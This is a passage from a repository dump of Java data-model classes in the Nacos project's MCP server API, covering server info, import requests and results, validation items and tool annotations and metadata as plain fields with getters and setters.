    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.Icon;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.Package;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.Repository;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * AI Mcp server spec in nacos.\n *\n * @author xiweng.yy\n */\npublic class McpServerBasicInfo {\n    \n    private String namespaceId;\n    \n    private String id;\n    \n    private String name;\n    \n    /**\n     * It should be {@link AiConstants.Mcp#MCP_PROTOCOL_STDIO}, {@link AiConstants.Mcp#MCP_PROTOCOL_SSE}, \n     * {@link AiConstants.Mcp#MCP_PROTOCOL_STREAMABLE}, {@link AiConstants.Mcp#MCP_PROTOCOL_HTTP} or {@link AiConstants.Mcp#MCP_PROTOCOL_DUBBO}.\n     */\n    private String protocol;\n    \n    private String frontProtocol;\n    \n    private String description;\n    \n    private Repository repository;\n    \n    private List<Package> packages;\n\n    private List<Icon> icons;\n\n    private String websiteUrl;\n    \n    private ServerVersionDetail versionDetail;\n    \n    /**\n     * Please use {@link #versionDetail} replaced.\n     */\n    private String version;\n    \n    /**\n     * Should be set when `type` is not {@link AiConstants.Mcp#MCP_PROTOCOL_STDIO}.\n     */\n    private McpServerRemoteServiceConfig remoteServerConfig;\n    \n    /**\n     * Should be set when `type` is {@link AiConstants.Mcp#MCP_PROTOCOL_STDIO}.\n     */\n    private Map<String, Object> localServerConfig;\n    \n    private boolean enabled = true;\n    \n    /**\n     * Current lifecycle status of MCP server, should be one of\n     * {@link AiConstants.Mcp#MCP_STATUS_ACTIVE} or {@link AiConstants.Mcp#MCP_STATUS_DEPRECATED}.\n     * Default is {@link AiConstants.Mcp#MCP_STATUS_ACTIVE}.\n     */\n    private String status = AiConstants.Mcp.MCP_STATUS_ACTIVE;\n    \n    /**\n     * Auto discovery capabilities by Nacos. No need to set when create or update Mcp server.\n     */\n    private List<McpCapability> capabilities;\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public String getProtocol() {\n        return protocol;\n    }\n    \n    public void setProtocol(String protocol) {\n        this.protocol = protocol;\n    }\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public void setDescription(String description) {\n        this.description = description;\n    }\n    \n    public McpServerRemoteServiceConfig getRemoteServerConfig() {\n        return remoteServerConfig;\n    }\n    \n    public void setRemoteServerConfig(McpServerRemoteServiceConfig remoteServerConfig) {\n        this.remoteServerConfig = remoteServerConfig;\n    }\n    \n    public Map<String, Object> getLocalServerConfig() {\n        return localServerConfig;\n    }\n    \n    public void setLocalServerConfig(Map<String, Object> localServerConfig) {\n        this.localServerConfig = localServerConfig;\n    }\n\n    public String getFrontProtocol() {\n        return frontProtocol;\n    }\n\n    public void setFrontProtocol(String frontProtocol) {\n        this.frontProtocol = frontProtocol;\n    }\n\n    public boolean isEnabled() {\n        return enabled;\n    }\n    \n    public void setEnabled(boolean enabled) {\n        this.enabled = enabled;\n    }\n    \n    public List<McpCapability> getCapabilities() {\n        return capabilities;\n    }\n    \n    public void setCapabilities(List<McpCapability> capabilities) {\n        this.capabilities = capabilities;\n    }\n\n    public ServerVersionDetail getVersionDetail() {\n        return versionDetail;\n    }\n\n    public void setVersionDetail(ServerVersionDetail versionDetail) {\n        this.versionDetail = versionDetail;\n    }\n\n    public String getId() {\n        return id;\n    }\n\n    public void setId(String id) {\n        this.id = id;\n    }\n\n    public Repository getRepository() {\n        return repository;\n    }\n\n    public void setRepository(Repository repository) {\n        this.repository = repository;\n    }\n\n    public String getVersion() {\n        return version;\n    }\n\n    public void setVersion(String version) {\n        this.version = version;\n    }\n\n    public List<Package> getPackages() {\n        return packages;\n    }\n\n    public void setPackages(List<Package> packages) {\n        this.packages = packages;\n    }\n\n    public String getStatus() {\n        return status;\n    }\n\n    public void setStatus(String status) {\n        this.status = status;\n    }\n\n    public List<Icon> getIcons() {\n        return icons;\n    }\n\n    public void setIcons(List<Icon> icons) {\n        this.icons = icons;\n    }\n\n    public String getWebsiteUrl() {\n        return websiteUrl;\n    }\n\n    public void setWebsiteUrl(String websiteUrl) {\n        this.websiteUrl = websiteUrl;\n    }\n\n    public String getNamespaceId() {\n        return namespaceId;\n    }\n\n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpServerDetailInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\n\nimport java.util.List;\n\n/**\n * AI Mcp server spec in nacos.\n *\n * @author xiweng.yy\n */\npublic class McpServerDetailInfo extends McpServerBasicInfo {\n    \n    private List<McpEndpointInfo> backendEndpoints;\n    \n    private List<McpEndpointInfo> frontendEndpoints;\n    \n    private McpToolSpecification toolSpec;\n    \n    private List<ServerVersionDetail> allVersions;\n    \n    public List<McpEndpointInfo> getBackendEndpoints() {\n        return backendEndpoints;\n    }\n    \n    public void setBackendEndpoints(List<McpEndpointInfo> backendEndpoints) {\n        this.backendEndpoints = backendEndpoints;\n    }\n    \n    public List<McpEndpointInfo> getFrontendEndpoints() {\n        return frontendEndpoints;\n    }\n    \n    public void setFrontendEndpoints(List<McpEndpointInfo> frontendEndpoints) {\n        this.frontendEndpoints = frontendEndpoints;\n    }\n    \n    public McpToolSpecification getToolSpec() {\n        return toolSpec;\n    }\n    \n    public void setToolSpec(McpToolSpecification toolSpec) {\n        this.toolSpec = toolSpec;\n    }\n\n    public List<ServerVersionDetail> getAllVersions() {\n        return allVersions;\n    }\n\n    public void setAllVersions(List<ServerVersionDetail> allVersions) {\n        this.allVersions = allVersions;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpServerImportRequest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport java.io.Serializable;\n\n/**\n * MCP Server Import Request.\n *\n * @author nacos\n */\npublic class McpServerImportRequest implements Serializable {\n    \n    private static final long serialVersionUID = 1L;\n    \n    /**\n     * Import type: file, url, json.\n     */\n    private String importType;\n    \n    /**\n     * Import source data.\n     */\n    private String data;\n    \n    /**\n     * Whether to override existing servers.\n     */\n    private boolean overrideExisting = false;\n    \n    /**\n     * Whether to validate only (preview mode).\n     */\n    private boolean validateOnly = false;\n    \n    /**\n     * Whether to skip invalid servers and continue importing valid ones.\n     * Default false keeps previous behavior (fail fast when any invalid exists).\n     */\n    private boolean skipInvalid = false;\n    \n    /**\n     * Selected server IDs for import (for selective import).\n     */\n    private String[] selectedServers;\n\n    /**\n     * Optional start cursor for URL-based pagination.\n     * Only effective when importType = url.\n     */\n    private String cursor;\n\n    /**\n    * Optional page size limit for URL import (items per page).\n    * Only effective when importType = url. If null, server-side default applies.\n     */\n    private Integer limit;\n\n    /**\n     * Optional fuzzy search keyword for registry listing.\n     * Only effective when importType = url. When present, backend will append it\n     * to the registry query string as `search` for server-side fuzzy filtering.\n     */\n    private String search;\n    \n    public String getImportType() {\n        return importType;\n    }\n    \n    public void setImportType(String importType) {\n        this.importType = importType;\n    }\n    \n    public String getData() {\n        return data;\n    }\n    \n    public void setData(String data) {\n        this.data = data;\n    }\n    \n    public boolean isOverrideExisting() {\n        return overrideExisting;\n    }\n    \n    public void setOverrideExisting(boolean overrideExisting) {\n        this.overrideExisting = overrideExisting;\n    }\n    \n    public boolean isValidateOnly() {\n        return validateOnly;\n    }\n    \n    public void setValidateOnly(boolean validateOnly) {\n        this.validateOnly = validateOnly;\n    }\n    \n    public String[] getSelectedServers() {\n        return selectedServers;\n    }\n    \n    public void setSelectedServers(String[] selectedServers) {\n        this.selectedServers = selectedServers;\n    }\n\n    public String getCursor() {\n        return cursor;\n    }\n\n    public void setCursor(String cursor) {\n        this.cursor = cursor;\n    }\n\n    public Integer getLimit() {\n        return limit;\n    }\n\n    public void setLimit(Integer limit) {\n        this.limit = limit;\n    }\n\n    public String getSearch() {\n        return search;\n    }\n\n    public void setSearch(String search) {\n        this.search = search;\n    }\n\n    public boolean isSkipInvalid() {\n        return skipInvalid;\n    }\n\n    public void setSkipInvalid(boolean skipInvalid) {\n        this.skipInvalid = skipInvalid;\n    }\n}"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpServerImportResponse.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * MCP Server Import Response.\n *\n * @author nacos\n */\npublic class McpServerImportResponse implements Serializable {\n    \n    private static final long serialVersionUID = 1L;\n    \n    /**\n     * Import success.\n     */\n    private boolean success;\n    \n    /**\n     * Total count of servers to import.\n     */\n    private int totalCount = 0;\n    \n    /**\n     * Successfully imported count.\n     */\n    private int successCount = 0;\n    \n    /**\n     * Failed import count.\n     */\n    private int failedCount = 0;\n    \n    /**\n     * Skipped count (duplicates).\n     */\n    private int skippedCount = 0;\n    \n    /**\n     * Import results for each server.\n     */\n    private List<McpServerImportResult> results;\n    \n    /**\n     * Overall error message.\n     */\n    private String errorMessage;\n    \n    public boolean isSuccess() {\n        return success;\n    }\n    \n    public void setSuccess(boolean success) {\n        this.success = success;\n    }\n    \n    public int getTotalCount() {\n        return totalCount;\n    }\n    \n    public void setTotalCount(int totalCount) {\n        this.totalCount = totalCount;\n    }\n    \n    public int getSuccessCount() {\n        return successCount;\n    }\n    \n    public void setSuccessCount(int successCount) {\n        this.successCount = successCount;\n    }\n    \n    public int getFailedCount() {\n        return failedCount;\n    }\n    \n    public void setFailedCount(int failedCount) {\n        this.failedCount = failedCount;\n    }\n    \n    public int getSkippedCount() {\n        return skippedCount;\n    }\n    \n    public void setSkippedCount(int skippedCount) {\n        this.skippedCount = skippedCount;\n    }\n    \n    public List<McpServerImportResult> getResults() {\n        return results;\n    }\n    \n    public void setResults(List<McpServerImportResult> results) {\n        this.results = results;\n    }\n    \n    public String getErrorMessage() {\n        return errorMessage;\n    }\n    \n    public void setErrorMessage(String errorMessage) {\n        this.errorMessage = errorMessage;\n    }\n}"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpServerImportResult.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport java.io.Serializable;\n\n/**\n * MCP Server Import Result.\n *\n * @author nacos\n */\npublic class McpServerImportResult implements Serializable {\n    \n    private static final long serialVersionUID = 1L;\n    \n    /**\n     * Server name.\n     */\n    private String serverName;\n    \n    /**\n     * Server ID after import.\n     */\n    private String serverId;\n    \n    /**\n     * Import status: success, failed, skipped.\n     */\n    private String status;\n    \n    /**\n     * Error message if failed.\n     */\n    private String errorMessage;\n    \n    /**\n     * Conflict type if skipped.\n     */\n    private String conflictType;\n    \n    public String getServerName() {\n        return serverName;\n    }\n    \n    public void setServerName(String serverName) {\n        this.serverName = serverName;\n    }\n    \n    public String getServerId() {\n        return serverId;\n    }\n    \n    public void setServerId(String serverId) {\n        this.serverId = serverId;\n    }\n    \n    public String getStatus() {\n        return status;\n    }\n    \n    public void setStatus(String status) {\n        this.status = status;\n    }\n    \n    public String getErrorMessage() {\n        return errorMessage;\n    }\n    \n    public void setErrorMessage(String errorMessage) {\n        this.errorMessage = errorMessage;\n    }\n    \n    public String getConflictType() {\n        return conflictType;\n    }\n    \n    public void setConflictType(String conflictType) {\n        this.conflictType = conflictType;\n    }\n}"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpServerImportValidationResult.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * MCP Server Import Validation Result.\n *\n * @author nacos\n */\npublic class McpServerImportValidationResult implements Serializable {\n    \n    private static final long serialVersionUID = 1L;\n    \n    /**\n     * Validation success.\n     */\n    private boolean valid;\n    \n    /**\n     * Parsed servers count.\n     */\n    private int totalCount;\n    \n    /**\n     * Valid servers count.\n     */\n    private int validCount;\n    \n    /**\n     * Invalid servers count.\n     */\n    private int invalidCount;\n    \n    /**\n     * Duplicate servers count.\n     */\n    private int duplicateCount;\n    \n    /**\n     * Parsed and validated servers.\n     */\n    private List<McpServerValidationItem> servers;\n    \n    /**\n     * Overall validation errors.\n     */\n    private List<String> errors;\n\n    /**\n     * Cursor for fetching next page (URL import only). Null if no more pages.\n     */\n    private String nextCursor;\n\n    /**\n     * Whether there are more pages available to load.\n     */\n    private boolean hasMore;\n    \n    public boolean isValid() {\n        return valid;\n    }\n    \n    public void setValid(boolean valid) {\n        this.valid = valid;\n    }\n    \n    public int getTotalCount() {\n        return totalCount;\n    }\n    \n    public void setTotalCount(int totalCount) {\n        this.totalCount = totalCount;\n    }\n    \n    public int getValidCount() {\n        return validCount;\n    }\n    \n    public void setValidCount(int validCount) {\n        this.validCount = validCount;\n    }\n    \n    public int getInvalidCount() {\n        return invalidCount;\n    }\n    \n    public void setInvalidCount(int invalidCount) {\n        this.invalidCount = invalidCount;\n    }\n    \n    public int getDuplicateCount() {\n        return duplicateCount;\n    }\n    \n    public void setDuplicateCount(int duplicateCount) {\n        this.duplicateCount = duplicateCount;\n    }\n    \n    public List<McpServerValidationItem> getServers() {\n        return servers;\n    }\n    \n    public void setServers(List<McpServerValidationItem> servers) {\n        this.servers = servers;\n    }\n    \n    public List<String> getErrors() {\n        return errors;\n    }\n    \n    public void setErrors(List<String> errors) {\n        this.errors = errors;\n    }\n\n    public String getNextCursor() {\n        return nextCursor;\n    }\n\n    public void setNextCursor(String nextCursor) {\n        this.nextCursor = nextCursor;\n    }\n\n    public boolean isHasMore() {\n        return hasMore;\n    }\n\n    public void setHasMore(boolean hasMore) {\n        this.hasMore = hasMore;\n    }\n}"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpServerRemoteServiceConfig.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport java.util.List;\n\n/**\n * AI MCP server remote service config.\n *\n * @author xiweng.yy\n */\npublic class McpServerRemoteServiceConfig {\n    \n    private McpServiceRef serviceRef;\n    \n    private String exportPath;\n    \n    private List<FrontEndpointConfig> frontEndpointConfigList;\n    \n    public McpServiceRef getServiceRef() {\n        return serviceRef;\n    }\n    \n    public void setServiceRef(McpServiceRef serviceRef) {\n        this.serviceRef = serviceRef;\n    }\n    \n    public String getExportPath() {\n        return exportPath;\n    }\n    \n    public void setExportPath(String exportPath) {\n        this.exportPath = exportPath;\n    }\n    \n    public List<FrontEndpointConfig> getFrontEndpointConfigList() {\n        return frontEndpointConfigList;\n    }\n    \n    public void setFrontEndpointConfigList(List<FrontEndpointConfig> frontEndpointConfigList) {\n        this.frontEndpointConfigList = frontEndpointConfigList;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpServerValidationItem.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * MCP Server Validation Item.\n *\n * @author nacos\n */\npublic class McpServerValidationItem implements Serializable {\n    \n    private static final long serialVersionUID = 1L;\n    \n    /**\n     * Server name.\n     */\n    private String serverName;\n    \n    /**\n     * Server ID (generated or provided).\n     */\n    private String serverId;\n    \n    /**\n     * Validation status: valid, invalid, duplicate.\n     */\n    private String status;\n    \n    /**\n     * Validation errors.\n     */\n    private List<String> errors;\n    \n    /**\n     * Whether server exists.\n     */\n    private boolean exists;\n    \n    /**\n     * Transformed server detail.\n     */\n    private McpServerDetailInfo server;\n    \n    /**\n     * Whether selected for import.\n     */\n    private boolean selected = true;\n    \n    public String getServerName() {\n        return serverName;\n    }\n    \n    public void setServerName(String serverName) {\n        this.serverName = serverName;\n    }\n    \n    public String getServerId() {\n        return serverId;\n    }\n    \n    public void setServerId(String serverId) {\n        this.serverId = serverId;\n    }\n    \n    public String getStatus() {\n        return status;\n    }\n    \n    public void setStatus(String status) {\n        this.status = status;\n    }\n    \n    public List<String> getErrors() {\n        return errors;\n    }\n    \n    public void setErrors(List<String> errors) {\n        this.errors = errors;\n    }\n    \n    public boolean isExists() {\n        return exists;\n    }\n    \n    public void setExists(boolean exists) {\n        this.exists = exists;\n    }\n    \n    public McpServerDetailInfo getServer() {\n        return server;\n    }\n    \n    public void setServer(McpServerDetailInfo server) {\n        this.server = server;\n    }\n    \n    public boolean isSelected() {\n        return selected;\n    }\n    \n    public void setSelected(boolean selected) {\n        this.selected = selected;\n    }\n}"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpServerVersionInfo.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\n\nimport java.util.List;\n\n/**\n * McpServerVersionInfo.\n * @author xinluo\n */\n@SuppressWarnings({\"checkstyle:MethodName\", \"checkstyle:ParameterName\", \"checkstyle:MemberName\", \"checkstyle:SummaryJavadoc\"})\npublic class McpServerVersionInfo extends McpServerBasicInfo {\n\n    private String latestPublishedVersion;\n\n    private List<ServerVersionDetail> versionDetails;\n\n    public String getLatestPublishedVersion() {\n        return latestPublishedVersion;\n    }\n\n    public void setLatestPublishedVersion(String latestPublishedVersion) {\n        this.latestPublishedVersion = latestPublishedVersion;\n    }\n\n    public List<ServerVersionDetail> getVersionDetails() {\n        return versionDetails;\n    }\n\n    public void setVersions(List<ServerVersionDetail> versionDetails) {\n        this.versionDetails = versionDetails;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpServiceRef.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\n/**\n * AI MCP Backend service reference. The Ref record the MCP Server backend service is a service registered in nacos.\n *\n * @author xiweng.yy\n */\npublic class McpServiceRef {\n\n    private String namespaceId;\n    \n    private String groupName;\n    \n    private String serviceName;\n\n    private String transportProtocol;\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n    \n    public String getServiceName() {\n        return serviceName;\n    }\n    \n    public void setServiceName(String serviceName) {\n        this.serviceName = serviceName;\n    }\n\n    public void setTransportProtocol(String transportProtocol) {\n        this.transportProtocol = transportProtocol;\n    }\n\n    public String getTransportProtocol() {\n        return transportProtocol;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpTool.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\n\nimport java.util.Map;\n\n/**\n * AI MCP Tool.\n *\n * @author xiweng.yy\n */\npublic class McpTool {\n\n    private String name;\n    \n    private String description;\n    \n    private Map<String, Object> inputSchema;\n\n    private Map<String, Object> outputSchema;\n\n    /**\n     * MCP protocol meta field. See MCP specification for `_meta` usage.\n     */\n    @JsonProperty(\"_meta\")\n    private Map<String, Object> meta;\n\n    /**\n     * MCP Tool annotations - additional properties describing a Tool to clients.\n     */\n    private McpToolAnnotations annotations;\n\n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public void setDescription(String description) {\n        this.description = description;\n    }\n    \n    public Map<String, Object> getInputSchema() {\n        return inputSchema;\n    }\n    \n    public void setInputSchema(Map<String, Object> inputSchema) {\n        this.inputSchema = inputSchema;\n    }\n\n    public Map<String, Object> getOutputSchema() {\n        return outputSchema;\n    }\n\n    public void setOutputSchema(Map<String, Object> outputSchema) {\n        this.outputSchema = outputSchema;\n    }\n    \n    public Map<String, Object> getMeta() {\n        return meta;\n    }\n    \n    public void setMeta(Map<String, Object> meta) {\n        this.meta = meta;\n    }\n    \n    public McpToolAnnotations getAnnotations() {\n        return annotations;\n    }\n    \n    public void setAnnotations(McpToolAnnotations annotations) {\n        this.annotations = annotations;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpToolAnnotations.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\n/**\n * MCP Tool Annotations - Additional properties describing a Tool to clients.\n * \n * <p>\n * NOTE: all properties in ToolAnnotations are <b>hints</b>.\n * They are not guaranteed to provide a faithful description of tool behavior.\n * Clients should never make tool use decisions based on ToolAnnotations\n * received from untrusted servers.\n * </p>\n *\n * @author xiweng.yy\n */\npublic class McpToolAnnotations {\n\n    /**\n     * A human-readable title for the tool.\n     */\n    private String title;\n\n    /**\n     * If true, the tool does not modify its environment. Default: false\n     */\n    private Boolean readOnlyHint;\n\n    /**\n     * If true, the tool may perform destructive updates to its environment.\n     * If false, the tool performs only additive updates.\n     * (This property is meaningful only when readOnlyHint == false)\n     * Default: true\n     */\n    private Boolean destructiveHint;\n\n    /**\n     * If true, calling the tool repeatedly with the same arguments\n     * will have no additional effect on its environment.\n     * (This property is meaningful only when readOnlyHint == false)\n     * Default: false\n     */\n    private Boolean idempotentHint;\n\n    /**\n     * If true, this tool may interact with an \"open world\" of external entities.\n     * If false, the tool's domain of interaction is closed.\n     * Default: true\n     */\n    private Boolean openWorldHint;\n\n    public String getTitle() {\n        return title;\n    }\n\n    public void setTitle(String title) {\n        this.title = title;\n    }\n\n    public Boolean getReadOnlyHint() {\n        return readOnlyHint;\n    }\n\n    public void setReadOnlyHint(Boolean readOnlyHint) {\n        this.readOnlyHint = readOnlyHint;\n    }\n\n    public Boolean getDestructiveHint() {\n        return destructiveHint;\n    }\n\n    public void setDestructiveHint(Boolean destructiveHint) {\n        this.destructiveHint = destructiveHint;\n    }\n\n    public Boolean getIdempotentHint() {\n        return idempotentHint;\n    }\n\n    public void setIdempotentHint(Boolean idempotentHint) {\n        this.idempotentHint = idempotentHint;\n    }\n\n    public Boolean getOpenWorldHint() {\n        return openWorldHint;\n    }\n\n    public void setOpenWorldHint(Boolean openWorldHint) {\n        this.openWorldHint = openWorldHint;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpToolMeta.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport java.util.Map;\n\n/**\n * AI MCP Tool metadata.\n *\n * @author xiweng.yy\n */\npublic class McpToolMeta {\n    \n    private Map<String, String> invokeContext;\n    \n    private boolean enabled = true;\n    \n    private Map<String, Object> templates;\n    \n    public Map<String, String> getInvokeContext() {\n        return invokeContext;\n    }\n    \n    public void setInvokeContext(Map<String, String> invokeContext) {\n        this.invokeContext = invokeContext;\n    }\n    \n    public boolean isEnabled() {\n        return enabled;\n    }\n    \n    public void setEnabled(boolean enabled) {\n        this.enabled = enabled;\n    }\n    \n    public Map<String, Object> getTemplates() {\n        return templates;\n    }\n    \n    public void setTemplates(Map<String, Object> templates) {\n        this.templates = templates;\n    }\n}\n"
  },
  {
